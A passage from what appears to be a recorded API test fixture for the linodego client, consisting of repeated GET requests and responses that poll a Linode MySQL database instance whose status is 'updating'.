https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' 